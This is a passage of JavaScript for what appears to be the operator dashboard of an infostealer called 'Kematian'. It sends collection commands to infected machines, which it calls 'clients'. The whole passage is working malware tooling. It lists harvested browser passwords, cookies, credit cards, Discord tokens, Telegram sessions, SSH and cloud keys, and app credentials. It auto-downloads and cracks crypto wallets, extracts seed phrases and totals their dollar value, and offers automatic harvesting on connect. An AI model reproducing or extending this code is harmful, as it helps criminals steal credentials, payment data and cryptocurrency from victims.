`; } else { usdHtml = `
$0.00
`; } } // Balances per asset let balHtml = ""; if (crackResult.balances) { const entries = Object.entries(crackResult.balances).filter(([,v]) => v > 0); if (entries.length) { balHtml = `
${entries.map(([chain, val]) => `${esc(chain)} ${val < 0.0001 ? val.toExponential(2) : val.toFixed(6)}` ).join("")}
`; } else { balHtml = `
No balances found
`; } } // Addresses let addrsHtml = ""; if (crackResult.addresses?.length) { addrsHtml = `
${crackResult.addresses.map(a => { const label = a.chain || "ETH"; const addr = a.address || a; return `${esc(label)}: ${esc(addr)}`; }).join("")}
`; } if (crackResult.accounts?.length) { addrsHtml += `
${(crackResult.accounts || []).map(a => { if (a.mnemonic) return `
${esc(a.mnemonic)}
`; return `${esc(a.type)}: ${esc(a.address)}`; }).join("")}
`; } // Mnemonic let mnemonicHtml = ""; if (crackResult.mnemonic) { mnemonicHtml = `
${esc(crackResult.mnemonic)}
`; } crackHtml += `
Cracked! Password: ${esc(crackResult.password)}
${usdHtml} ${balHtml} ${addrsHtml} ${mnemonicHtml} ${crackResult.mnemonic && !crackResult.balances ? `` : ""}`; } else { crackHtml += `
No password matched (${crackResult.tried} tried)
`; } } div.innerHTML = `
${icon}
${esc(w.name)}
${typeLabel} ${w.files || 0} files · ${humanSize(w.size || 0)}
${crackHtml}
${w.hasVault && !crackResult ? `` : ""} ${!w.hasVault && w.downloaded && !crackResult ? `` : ""} ${w.dataId ? `` : ""} ${w.downloaded ? `Auto-downloaded` : ""}
`; div.querySelectorAll(".wl-addr, .wl-account").forEach(el => { el.addEventListener("click", () => { navigator.clipboard.writeText(el.textContent.replace(/^[^:]+:\s*/, "")).catch(() => {}); el.classList.add("copied-flash"); setTimeout(() => el.classList.remove("copied-flash"), 600); }); }); div.querySelectorAll(".wl-mnemonic").forEach(el => { el.addEventListener("click", () => { navigator.clipboard.writeText(el.textContent).catch(() => {}); el.classList.add("copied-flash"); setTimeout(() => el.classList.remove("copied-flash"), 600); }); }); return div; } async function loadWalletCards() { if (!walletViewEl || walletViewEl.style.display === "none") return; const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; if (!cid) { wlGrid.innerHTML = '
Select a client to view wallet details.
'; rowCount.textContent = "0 wallets"; return; } try { const [tableResult, dataResult] = await Promise.all([ rpc("list_wallets", { clientId: cid }), rpc("list_wallet_data", { clientId: cid }), ]); const dataMap = {}; for (const d of dataResult.rows) { dataMap[d.name] = d; } const wallets = tableResult.rows.map(w => { const d = dataMap[w.name]; return { ...w, addresses: d?.addresses || [], hasVault: d?.hasVault || false, downloaded: !!d, dataId: d?.id || null, }; }); wlGrid.innerHTML = ""; if (!wallets.length) { wlGrid.innerHTML = '
No wallets found for this client.
'; } else { for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); } rowCount.textContent = `${wallets.length} wallet${wallets.length !== 1 ? "s" : ""}`; // Load previously cracked seeds from DB try { const savedSeeds = await rpc("get_wallet_seeds", { clientId: cid }); for (const [name, seed] of Object.entries(savedSeeds || {})) { if (!walletCrackResults[name]) { walletCrackResults[name] = { cracked: true, password: "(saved)", mnemonic: seed.mnemonic, addresses: seed.addresses }; } } } catch (e) { log(`get_wallet_seeds error: ${e.message}`); } // For wallets with saved seeds, just refresh balances; crack the rest const balanceJobs = []; const crackJobs = []; for (const w of wallets) { const name = w.name; const existing = walletCrackResults[name]; if (existing?.cracked && existing.mnemonic) { balanceJobs.push(name); continue; } if (existing) continue; const isDesktop = !w.hasVault && w.downloaded; const isVault = w.hasVault; if (isDesktop || isVault) crackJobs.push({ name, method: isDesktop ? "crack_exodus" : "crack_vault" }); } // Refresh balances for already-cracked wallets (in parallel) if (balanceJobs.length) { Promise.all(balanceJobs.map(async (name) => { try { const cr = walletCrackResults[name]; const balResult = await rpc("check_cracked_balances", { mnemonic: cr.mnemonic }); walletCrackResults[name] = { ...cr, balances: balResult.totals, usdTotal: balResult.usdTotal, addresses: balResult.addresses || cr.addresses }; if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`); } catch (e) { log(`Balance refresh ${name} error: ${e.message}`); } })).then(() => { wlGrid.innerHTML = ""; for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); }); } // Auto-crack wallets that haven't been cracked yet for (const { name, method } of crackJobs) { try { const result = await rpc(method, { clientId: cid, walletName: name }); walletCrackResults[name] = result; if (result.cracked) { log(`Auto-cracked ${name}! Password: ${result.password}`); if (result.mnemonic) { const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic }); walletCrackResults[name] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal }; if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`); else log(`${name}: no balances found`); } } else { log(`Auto-crack ${name}: no password matched (${result.tried} tried)`); } } catch (err) { log(`Auto-crack ${name} error: ${err.message}`); } } // Re-render cards with crack results if (wallets.some(w => walletCrackResults[w.name])) { wlGrid.innerHTML = ""; for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); } } catch (e) { log(`Wallet cards error: ${e.message}`); } } // ── Settings (auto-harvest) ─────────────────────────────────── function buildAutoStartEvents(files, ext) { const events = [{ event: "collect", payload: { browsers: true } }]; if (files) events.push({ event: "scan_files", payload: {} }); if (ext) events.push({ event: "scan_extensions", payload: {} }); return events; } async function fetchAutoHarvestState() { if (!autoHarvestToggle) return; try { const res = await fetch("/api/plugins"); if (!res.ok) return; const data = await res.json(); const pluginCfg = (data.plugins || []).find(p => p.id === PLUGIN_ID); if (!pluginCfg) return; const enabled = !!pluginCfg.autoLoad; const events = pluginCfg.autoStartEvents || []; applySettingsUI(enabled, events.some(e => e.event === "scan_files"), events.some(e => e.event === "scan_extensions")); } catch (_) {} } function applySettingsUI(enabled, files, ext) { if (!autoHarvestToggle) return; autoHarvestToggle.checked = enabled; autoFilesToggle.disabled = !enabled; autoFilesToggle.checked = files; if (autoExtToggle) { autoExtToggle.disabled = !enabled; autoExtToggle.checked = ext; } const filesRow = $("ah-files-row"); const extRow = $("ah-ext-row"); if (filesRow) filesRow.style.opacity = enabled ? "1" : "0.5"; if (extRow) extRow.style.opacity = enabled ? "1" : "0.5"; } async function saveSettings() { if (!settingsStatus) return; settingsStatus.textContent = "Saving…"; const enabled = autoHarvestToggle.checked; const files = autoFilesToggle.checked; const ext = autoExtToggle ? autoExtToggle.checked : false; try { const body = { autoLoad: enabled, autoStartEvents: enabled ? buildAutoStartEvents(files, ext) : [], }; const res = await fetch(`/api/plugins/${PLUGIN_ID}/autoload`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body), }); const data = await res.json(); if (!data.ok) throw new Error(data.error || "failed"); settingsStatus.textContent = enabled ? "Auto-harvest enabled" : "Auto-harvest disabled"; applySettingsUI(enabled, files, ext); } catch (e) { settingsStatus.textContent = `Error: ${e.message}`; } setTimeout(() => { if (settingsStatus) settingsStatus.textContent = ""; }, 2500); } function initSettings(isAdmin) { if (!settingsCard) return; settingsCard.style.display = ""; if (!isAdmin) { if (settingsAdminMsg) settingsAdminMsg.style.display = ""; if (settingsGrid) settingsGrid.classList.add("disabled"); if (autoHarvestToggle) autoHarvestToggle.disabled = true; if (autoFilesToggle) autoFilesToggle.disabled = true; if (autoExtToggle) autoExtToggle.disabled = true; fetchAutoHarvestState(); return; } if (autoHarvestToggle) autoHarvestToggle.addEventListener("change", saveSettings); if (autoFilesToggle) autoFilesToggle.addEventListener("change", saveSettings); if (autoExtToggle) autoExtToggle.addEventListener("change", saveSettings); fetchAutoHarvestState(); } // ── Global mode ─────────────────────────────────────────────── async function loadGlobalStats() { try { knownClients = await rpc("get_stats"); renderClientsCard(); buildCfilts(); buildTabs(); const total = (key) => knownClients.reduce((s, c) => s + (c[key] || 0), 0); const sep = ` · `; globalStats.innerHTML = [ `${knownClients.length} client${knownClients.length !== 1 ? "s" : ""}`, `${total("passwords").toLocaleString()} passwords`, `${total("cookies").toLocaleString()} cookies`, `${total("creditCards").toLocaleString()} cards`, `${total("discordTokens").toLocaleString()} Discord tokens`, `${total("extensions").toLocaleString()} extensions`, `${total("wallets").toLocaleString()} wallets`, ].map(s => `${s}`).join(sep); exportAllBtn.disabled = knownClients.length === 0; loadSummary(); } catch (e) { log(`Stats error: ${e.message}`); } } let summaryData = []; let summaryWalletResults = {}; async function loadSummary() { if (!summaryCard || !summaryGrid) return; try { summaryData = await rpc("get_summary"); if (!summaryData.length) { summaryCard.style.display = "none"; return; } summaryCard.style.display = ""; renderSummary(); // Load saved seeds for all clients, then only refresh balances or crack new ones const balanceRefreshJobs = []; const crackJobs = []; for (const c of summaryData) { let savedSeeds = {}; try { savedSeeds = await rpc("get_wallet_seeds", { clientId: c.clientId }); } catch (e) { log(`get_wallet_seeds ${c.clientId} error: ${e.message}`); } const vaults = new Set(c.walletVaults || []); for (const name of c.walletDownloaded || []) { const key = `${c.clientId}:${name}`; // Populate from saved seeds if (!summaryWalletResults[key] && savedSeeds[name]) { summaryWalletResults[key] = { cracked: true, password: "(saved)", mnemonic: savedSeeds[name].mnemonic, addresses: savedSeeds[name].addresses }; } if (summaryWalletResults[key]?.cracked && summaryWalletResults[key]?.mnemonic) { balanceRefreshJobs.push({ key, mnemonic: summaryWalletResults[key].mnemonic }); continue; } if (summaryWalletResults[key]) continue; const method = vaults.has(name) ? "crack_vault" : "crack_exodus"; crackJobs.push({ key, clientId: c.clientId, name, method }); } } // Refresh balances for already-cracked wallets in parallel if (balanceRefreshJobs.length) { Promise.all(balanceRefreshJobs.map(async ({ key, mnemonic }) => { try { const balResult = await rpc("check_cracked_balances", { mnemonic }); summaryWalletResults[key] = { ...summaryWalletResults[key], balances: balResult.totals, usdTotal: balResult.usdTotal }; } catch (e) { log(`Summary balance refresh error: ${e.message}`); } })).then(() => renderSummary()); } // Crack wallets that don't have saved seeds for (const { key, clientId: cid, name, method } of crackJobs) { try { const result = await rpc(method, { clientId: cid, walletName: name }); summaryWalletResults[key] = result; if (result.cracked && result.mnemonic) { const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic }); summaryWalletResults[key] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal }; } } catch (e) { log(`Summary crack ${name} (${method}) error: ${e.message}`); } } renderSummary(); } catch (e) { log(`Summary error: ${e.message}`); } } function renderSummary() { if (!summaryGrid) return; let totalUsd = 0; const cards = []; for (const c of summaryData) { let clientUsd = 0; const walletInfo = []; for (const name of c.walletNames || []) { const key = `${c.clientId}:${name}`; const cr = summaryWalletResults[key]; if (cr?.cracked) { clientUsd += cr.usdTotal || 0; walletInfo.push({ name, cracked: true, usdTotal: cr.usdTotal || 0, password: cr.password }); } else if (cr && !cr.cracked) { walletInfo.push({ name, cracked: false, tried: cr.tried }); } else { walletInfo.push({ name, pending: true }); } } totalUsd += clientUsd; cards.push({ client: c, clientUsd, walletInfo }); } if (summaryTotals) { summaryTotals.innerHTML = ` ${totalUsd > 0 ? "$" + totalUsd.toFixed(2) : "$0.00"} ${summaryData.length} client${summaryData.length !== 1 ? "s" : ""} · ${Object.keys(summaryWalletResults).length} wallets checked `; } summaryGrid.innerHTML = ""; for (const { client: c, clientUsd, walletInfo } of cards) { const div = document.createElement("div"); div.className = "summary-client-card"; const walletsHtml = walletInfo.map(w => { if (w.cracked) { return `${esc(w.name)} $${w.usdTotal.toFixed(2)}`; } else if (w.pending) { return `${esc(w.name)}`; } else { return `${esc(w.name)} (${w.tried} tried)`; } }).join(""); div.innerHTML = `
${esc(shortId(c.clientId))} ${clientUsd > 0 ? "$" + clientUsd.toFixed(2) : ""}
${(c.passwords || 0).toLocaleString()} pw ${(c.cookies || 0).toLocaleString()} cookies ${(c.creditCards || 0).toLocaleString()} cards ${(c.discordTokens || 0).toLocaleString()} discord ${(c.wallets || 0)} wallets
${walletsHtml ? `
${walletsHtml}
` : ""} `; summaryGrid.appendChild(div); } } async function loadGlobalTab() { const tab = TABS.find(t => t.id === activeTab); if (!tab?.rpc) return; if (!tabData[tab.key]) tabData[tab.key] = { rows: [], total: 0, offset: 0 }; const { offset } = tabData[tab.key]; const p = { limit: PAGE_SIZE, offset }; const search = searchEl.value.trim(); if (search) p.search = search; if (activeClient !== "all") p.clientId = activeClient; if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser")) p.browser = activeBrowser; try { const result = await rpc(tab.rpc, p); tabData[tab.key] = { rows: result.rows, total: result.total, offset }; buildTabs(); renderTable(); } catch (e) { log(`Load error (${tab.label}): ${e.message}`); } } function renderClientsCard() { if (!clientsList) return; if (knownClients.length === 0) { clientsCard.style.display = "none"; return; } clientsCard.style.display = ""; clientsList.innerHTML = ""; const frag = document.createDocumentFragment(); for (const c of knownClients) { const div = document.createElement("div"); div.className = "client-item"; const ts = c.lastCapturedAt ? new Date(c.lastCapturedAt).toLocaleString() : "—"; div.innerHTML = `
${esc(shortId(c.clientId))} ${esc(ts)}
${(c.passwords || 0).toLocaleString()} pw ${(c.cookies || 0).toLocaleString()} cookies ${(c.creditCards || 0).toLocaleString()} cards ${(c.discordTokens || 0).toLocaleString()} discord ${(c.files || 0).toLocaleString()} files ${(c.extensions || 0).toLocaleString()} extensions
`; frag.appendChild(div); } clientsList.appendChild(frag); } function startSSE() { const sse = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`); window.__kematianSSE = sse; sse.addEventListener("harvest_update", async (e) => { const { clientId: cid } = JSON.parse(e.data); log(`Harvest update from ${shortId(cid)}`); await loadGlobalStats(); if (activeTab === "__search__") await loadSearchAll(); else if (activeTab === "discord") await loadDiscordProfiles(); else await loadGlobalTab(); }); sse.addEventListener("seed_update", async (e) => { const { clientId: cid, count } = JSON.parse(e.data); log(`Seed scan: ${count} phrases found from ${shortId(cid)}`); if (activeTab === "seeds") await loadGlobalTab(); }); sse.addEventListener("wallet_data_update", async () => { if (activeTab === "wallets") await loadWalletCards(); }); sse.addEventListener("client_deleted", async (e) => { const { clientId: cid } = JSON.parse(e.data); if (activeClient === cid) activeClient = "all"; delete tabData[TABS.find(t => t.id === activeTab)?.key]; await loadGlobalStats(); renderTable(); }); sse.addEventListener("cleared", () => { knownClients = []; tabData = {}; activeClient = "all"; clientsCard.style.display = "none"; exportAllBtn.disabled = true; globalStats.innerHTML = `0 clients`; buildCfilts(); buildTabs(); renderTable(); if (pagBar) pagBar.style.display = "none"; log("All data cleared"); }); } async function initGlobalMode() { clientCard.style.display = "none"; globalCard.style.display = ""; dataCard.style.display = ""; $("sub-title").textContent = "Global harvest view — all clients"; buildTabs(); buildBfilts(); startSSE(); const rolePromise = fetchUserRole(); if (pagPrev) pagPrev.addEventListener("click", () => { const tab = TABS.find(t => t.id === activeTab); if (!tab?.key || !tabData[tab.key]) return; tabData[tab.key].offset = Math.max(0, tabData[tab.key].offset - PAGE_SIZE); loadGlobalTab(); }); if (pagNext) pagNext.addEventListener("click", () => { const tab = TABS.find(t => t.id === activeTab); if (!tab?.key || !tabData[tab.key]) return; const td = tabData[tab.key]; if (td.offset + td.rows.length < td.total) { td.offset += PAGE_SIZE; loadGlobalTab(); } }); clientsList.addEventListener("click", async (e) => { const btn = e.target.closest("[data-action]"); if (!btn) return; const { action, id } = btn.dataset; if (action === "view-client") { activeClient = id; const tab = TABS.find(t => t.id === activeTab); if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0; buildCfilts(); buildTabs(); await loadGlobalTab(); dataCard.scrollIntoView({ behavior: "smooth" }); } else if (action === "del-client") { if (!confirm(`Delete all harvested data for client ${shortId(id)} (${id})?`)) return; try { await rpc("delete_client", { clientId: id }); log(`Deleted ${shortId(id)}`); knownClients = knownClients.filter(c => c.clientId !== id); if (activeClient === id) activeClient = "all"; for (const t of TABS) if (tabData[t.key]) tabData[t.key].rows = tabData[t.key].rows.filter(r => r.clientId !== id); renderClientsCard(); buildCfilts(); buildTabs(); renderTable(); loadGlobalStats(); } catch (err) { log(`Delete error: ${err.message}`); } } }); refreshBtn.addEventListener("click", async () => { log("Refreshing…"); await loadGlobalStats(); if (activeTab === "__search__") await loadSearchAll(); else await loadGlobalTab(); }); exportAllBtn.addEventListener("click", async () => { try { log("Exporting all data…"); const results = await Promise.all(TABS.map(t => rpc(t.rpc, { limit: 0 }))); const allData = {}; TABS.forEach((t, i) => { allData[t.key] = results[i].rows; }); const blob = new Blob([JSON.stringify(allData, null, 2)], { type: "application/json" }); const a = document.createElement("a"); a.href = URL.createObjectURL(blob); a.download = `kematian-global-${Date.now()}.json`; a.click(); URL.revokeObjectURL(a.href); log("Export complete"); } catch (err) { log(`Export error: ${err.message}`); } }); clearAllBtn.addEventListener("click", async () => { if (!confirm("Delete ALL harvested data from ALL clients?\n\nThis cannot be undone.")) return; try { await rpc("delete_all", {}); knownClients = []; tabData = {}; activeClient = "all"; clientsCard.style.display = "none"; exportAllBtn.disabled = true; globalStats.innerHTML = `0 clients`; if (pagBar) pagBar.style.display = "none"; buildCfilts(); buildTabs(); renderTable(); log("All data cleared"); } catch (err) { log(`Clear error: ${err.message}`); } }); log("Global view — Kematian"); const [role] = await Promise.all([ rolePromise, loadGlobalStats().then(() => loadGlobalTab()), ]); userRole = role; initSettings(userRole === "admin"); } // ── Per-client mode ─────────────────────────────────────────── function initClientMode() { clientIdEl.value = clientId; globalCard.style.display = "none"; clientsCard.style.display = "none"; if (settingsCard) settingsCard.style.display = "none"; cfiltsEl.style.display = "none"; if (pagBar) pagBar.style.display = "none"; buildTabs(); buildBfilts(); collectBtn.addEventListener("click", () => { collectBtn.disabled = true; log("Starting collection…"); sendEvent("collect", { browsers: true }); }); scanFilesBtn.addEventListener("click", () => { scanFilesBtn.disabled = true; log("Scanning files…"); sendEvent("scan_files", {}); }); scanExtBtn.addEventListener("click", () => { scanExtBtn.disabled = true; log("Scanning extensions…"); sendEvent("scan_extensions", {}); }); scanWalletsBtn.addEventListener("click", () => { scanWalletsBtn.disabled = true; log("Scanning wallets…"); sendEvent("scan_wallets", {}); }); scanTgBtn.addEventListener("click", () => { scanTgBtn.disabled = true; log("Scanning Telegram sessions…"); sendEvent("scan_telegram", {}); }); scanKeysBtn.addEventListener("click", () => { scanKeysBtn.disabled = true; log("Scanning SSH & cloud keys…"); sendEvent("scan_keys", {}); }); scanAppsBtn.addEventListener("click", () => { scanAppsBtn.disabled = true; log("Scanning app credentials (RDP, WinSCP, PuTTY, FileZilla, WiFi…)"); sendEvent("scan_apps", {}); }); pingBtn.addEventListener("click", () => { log("Ping sent"); sendEvent("ping", {}); }); exportBtn.addEventListener("click", () => { if (!lastResults) return; const blob = new Blob([JSON.stringify(lastResults, null, 2)], { type: "application/json" }); const a = document.createElement("a"); a.href = URL.createObjectURL(blob); a.download = `kematian-${clientId}-${Date.now()}.json`; a.click(); URL.revokeObjectURL(a.href); log("Exported results"); }); const eventDispatch = { ready(payload) { statusDot.className = "dot dot-on"; statusText.textContent = "Connected"; log(`ready: ${payload?.status || "ok"}`); }, status(payload) { log(payload?.message || "(status)"); }, partial(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } for (const key of DATA_KEYS) if (payload[key]?.length) lastResults[key] = [...(lastResults[key] || []), ...payload[key]]; buildTabs(); buildBfilts(); renderTable(); }, results(payload) { lastResults = payload; collectBtn.disabled = false; exportBtn.disabled = false; dataCard.style.display = ""; buildTabs(); buildBfilts(); renderTable(); const c = DATA_KEYS.map(k => (payload[k] || []).length); log(`Collection complete — ${c[0]} pw · ${c[1]} cookies · ${c[2]} autofill · ${c[3]} history · ${c[4]} bookmarks · ${c[5]} cards · ${c[6]} Discord · ${c[7]} files · ${c[8]} extensions · ${c[9]} wallets · ${c[10]} telegram · ${c[11]} keys · ${c[12]} seeds · ${c[13]} apps`); if (payload.errors?.length) payload.errors.forEach(e => log(`warn: ${e}`)); }, file_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.files = payload?.files || []; scanFilesBtn.disabled = false; if (activeTab !== "files") { activeTab = "files"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`File scan — ${lastResults.files.length} files${payload?.truncated ? " (limit reached)" : ""}`); }, fetch_file_result(payload) { const { path, name, content } = payload || {}; const pending = pendingFetches.get(path); pendingFetches.delete(path); if (pending?.btn) { pending.btn.textContent = "↓"; pending.btn.disabled = false; } if (!content) { log(`fetch_file: no content for ${name}`); return; } downloadBase64(content, name || "file"); log(`Downloaded: ${name}`); }, fetch_file_error(payload) { const { path, error } = payload || {}; const pending = pendingFetches.get(path); pendingFetches.delete(path); if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } log(`fetch_file ERROR: ${error || "unknown"}`); }, extension_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.extensions = payload?.extensions || []; scanExtBtn.disabled = false; if (activeTab !== "extensions") { activeTab = "extensions"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`Extension scan — ${lastResults.extensions.length} extensions`); }, fetch_ext_zip_result(payload) { const { path, extId, content } = payload || {}; const pending = pendingExtZips.get(path); pendingExtZips.delete(path); if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; } if (!content) { log(`fetch_ext_zip: no content for ${extId}`); return; } downloadBase64(content, `${extId || "extension"}.zip`, "application/zip"); log(`Downloaded extension ZIP: ${extId}`); }, fetch_ext_zip_error(payload) { const { path, error } = payload || {}; const pending = pendingExtZips.get(path); pendingExtZips.delete(path); if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } log(`fetch_ext_zip ERROR: ${error || "unknown"}`); }, wallet_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.wallets = payload?.wallets || []; scanWalletsBtn.disabled = false; if (activeTab !== "wallets") { activeTab = "wallets"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`Wallet scan — ${lastResults.wallets.length} wallets`); }, wallet_auto_data(payload) { log(`Auto-downloaded wallet: ${payload?.name || "?"} (${humanSize(payload?.size || 0)})`); if (activeTab === "wallets") loadWalletCards(); }, fetch_wallet_zip_result(payload) { const { path, name, content } = payload || {}; const pending = pendingWalletZips.get(path); pendingWalletZips.delete(path); if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; } if (!content) { log(`fetch_wallet_zip: no content for ${name}`); return; } downloadBase64(content, `${name || "wallet"}.zip`, "application/zip"); log(`Downloaded wallet ZIP: ${name}`); }, fetch_wallet_zip_error(payload) { const { path, error } = payload || {}; const pending = pendingWalletZips.get(path); pendingWalletZips.delete(path); if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } log(`fetch_wallet_zip ERROR: ${error || "unknown"}`); }, telegram_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.telegram = payload?.sessions || []; scanTgBtn.disabled = false; if (activeTab !== "telegram") { activeTab = "telegram"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`Telegram scan — ${lastResults.telegram.length} sessions`); }, telegram_data(payload) { log(`Telegram data: ${payload?.account || "?"} (${humanSize(payload?.size || 0)})`); }, key_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.keys = payload?.keys || []; scanKeysBtn.disabled = false; if (activeTab !== "keys") { activeTab = "keys"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`Key scan — ${lastResults.keys.length} keys found`); }, app_scan_results(payload) { if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } lastResults.appCredentials = payload?.appCredentials || []; scanAppsBtn.disabled = false; if (activeTab !== "apps") { activeTab = "apps"; sortCol = null; sortAsc = true; } buildTabs(); buildBfilts(); renderTable(); log(`App scan — ${lastResults.appCredentials.length} credentials found`); }, error(payload) { collectBtn.disabled = false; scanFilesBtn.disabled = false; scanWalletsBtn.disabled = false; scanTgBtn.disabled = false; scanKeysBtn.disabled = false; scanAppsBtn.disabled = false; log(`ERROR: ${payload?.error || "unknown"}`); }, pong() { log("pong"); }, }; function handlePluginEvent(event, payload) { const handler = eventDispatch[event]; if (handler) handler(payload); else log(`event: ${event}`); } window.addEventListener("message", (e) => { if (!e.data || e.data.type !== "plugin_event") return; handlePluginEvent(e.data.event, e.data.payload); }); let polling = false; async function pollEvents() { if (polling) return; polling = true; try { const res = await fetch( `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/events`, { headers: { Accept: "application/json" } }, ); if (res.ok) { const data = await res.json(); if (data.events) data.events.forEach(e => handlePluginEvent(e.event, e.payload)); } } catch (_) {} finally { polling = false; } } log("Ready — Kematian"); window.__kematianPoll = setInterval(pollEvents, 1500); setTimeout(pollEvents, 500); } // ── Discord lookup buttons ──────────────────────────────────── if (enrichAllBtn) { enrichAllBtn.addEventListener("click", async () => { enrichAllBtn.disabled = true; enrichStatus.textContent = "Looking up…"; try { const p = {}; if (!isGlobal && clientId) p.clientId = clientId; else if (isGlobal && activeClient !== "all") p.clientId = activeClient; const r = await rpc("enrich_all_discord", p); enrichStatus.textContent = `Done — ${r.enriched} token${r.enriched !== 1 ? "s" : ""} processed`; await loadDiscordProfiles(); } catch (e) { enrichStatus.textContent = `Error: ${e.message}`; } finally { enrichAllBtn.disabled = false; } }); } if (dpGrid) { dpGrid.addEventListener("click", async (e) => { const btn = e.target.closest(".dp-lookup-btn"); if (!btn) return; const token = btn.dataset.token; const cid = btn.dataset.cid; if (!token || !cid) return; btn.disabled = true; btn.textContent = "…"; try { await rpc("enrich_discord_token", { token, clientId: cid }); await loadDiscordProfiles(); } catch (err) { log(`Lookup error: ${err.message}`); btn.disabled = false; btn.textContent = "Retry"; } }); } // ── Wallet card buttons ──────────────────────────────────────── if (checkBalancesBtn) { checkBalancesBtn.addEventListener("click", async () => { const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; if (!cid) { log("Select a client first"); return; } checkBalancesBtn.disabled = true; balanceStatus.textContent = "Checking balances…"; try { const result = await rpc("check_balances", { clientId: cid }); walletBalances = {}; for (const r of result.results || []) { if (!walletBalances[r.wallet]) walletBalances[r.wallet] = {}; for (const [chain, bal] of Object.entries(r.balances || {})) walletBalances[r.wallet][chain] = (walletBalances[r.wallet][chain] || 0) + bal; } const nonZero = Object.values(walletBalances).reduce((s, b) => s + Object.values(b).filter(v => v > 0).length, 0); balanceStatus.textContent = `Done — ${nonZero} non-zero balance${nonZero !== 1 ? "s" : ""} found`; await loadWalletCards(); } catch (e) { balanceStatus.textContent = `Error: ${e.message}`; log(`Balance check error: ${e.message}`); } finally { checkBalancesBtn.disabled = false; } }); } if (wlGrid) { wlGrid.addEventListener("click", async (e) => { const crackBtn = e.target.closest(".wl-crack-btn"); if (crackBtn) { const walletName = crackBtn.dataset.wallet; const crackType = crackBtn.dataset.crackType || "vault"; const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; if (!cid || !walletName) return; crackBtn.disabled = true; crackBtn.textContent = "Cracking…"; try { const rpcMethod = crackType === "desktop" ? "crack_exodus" : "crack_vault"; const result = await rpc(rpcMethod, { clientId: cid, walletName }); walletCrackResults[walletName] = result; if (result.cracked) log(`Wallet cracked for ${walletName}! Password: ${result.password}`); else log(`Wallet crack failed for ${walletName} — ${result.tried} passwords tried`); await loadWalletCards(); } catch (err) { log(`Crack error: ${err.message}`); crackBtn.disabled = false; crackBtn.textContent = crackType === "desktop" ? "Crack Wallet" : "Crack Vault"; } return; } const balBtn = e.target.closest(".wl-check-bal-btn"); if (balBtn) { const walletName = balBtn.dataset.wallet; const crackResult = walletCrackResults[walletName]; if (!crackResult?.mnemonic) return; balBtn.disabled = true; balBtn.textContent = "Checking…"; try { const result = await rpc("check_cracked_balances", { mnemonic: crackResult.mnemonic }); walletCrackResults[walletName] = { ...crackResult, balances: result.totals, usdTotal: result.usdTotal }; if (result.usdTotal > 0) log(`${walletName}: $${result.usdTotal.toFixed(2)} total value`); else log(`${walletName}: no balances found`); await loadWalletCards(); } catch (err) { log(`Balance check error: ${err.message}`); balBtn.disabled = false; balBtn.textContent = "Check Balances"; } return; } const dlBtn = e.target.closest(".wl-dl-btn"); if (dlBtn) { const id = dlBtn.dataset.id; const name = dlBtn.dataset.name; dlBtn.disabled = true; dlBtn.textContent = "…"; try { const result = await rpc("download_wallet_data", { id: Number(id) }); downloadBase64(result.content, `${result.name || name}.zip`, "application/zip"); log(`Downloaded wallet: ${name}`); } catch (err) { log(`Download error: ${err.message}`); } finally { dlBtn.disabled = false; dlBtn.textContent = "Download ZIP"; } } }); } // ── Shared listeners ────────────────────────────────────────── searchEl.addEventListener("input", () => { const q = searchEl.value.trim(); if (isGlobal) { clearTimeout(searchTimer); searchTimer = setTimeout(() => { if (q) { activeTab = "__search__"; buildTabs(); buildBfilts(); loadSearchAll(); } else { searchAllResults = null; if (activeTab === "__search__") activeTab = "passwords"; buildTabs(); buildBfilts(); loadGlobalTab(); } }, 300); } else { if (q) { activeTab = "__search__"; loadSearchAllLocal(); } else { searchAllResults = null; if (activeTab === "__search__") activeTab = "passwords"; buildTabs(); } renderTable(); } }); revealToggle.addEventListener("change", () => { showSensitive = revealToggle.checked; renderTable(); }); // ── Init ────────────────────────────────────────────────────── if (isGlobal) initGlobalMode(); else initClientMode(); })();